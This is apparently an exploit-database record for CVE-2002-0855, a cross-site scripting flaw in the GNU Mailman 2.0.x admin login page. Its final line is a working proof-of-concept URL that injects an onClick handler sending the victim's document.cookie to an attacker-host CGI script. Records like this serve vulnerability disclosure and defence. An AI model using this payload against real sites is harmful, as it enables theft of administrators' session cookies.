GNU Mailman 2.0.x - Admin Login Variant Cross-Site Scripting

Author: office
type: remote
platform: cgi
port: 
date_added: 2002-07-24 
date_updated: 2012-10-01 
verified: 1 
codes: CVE-2002-0855;OSVDB-9239 
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source: https://www.securityfocus.com/bid/5299/info

GNU Mailman is prone to a cross-site scripting vulnerability. An attacker may construct a malicious link to the administrative login page, which contains arbitrary HTML and script code.

A user visiting the link will have the attacker's script code executed in their web browser in the context of the site running the vulnerable software.

http://target/mailman_directory/admin/ml-name?adminpw="/onClick="window.open('http://attackerhost/attackerscript.cgi?'+document.cookie);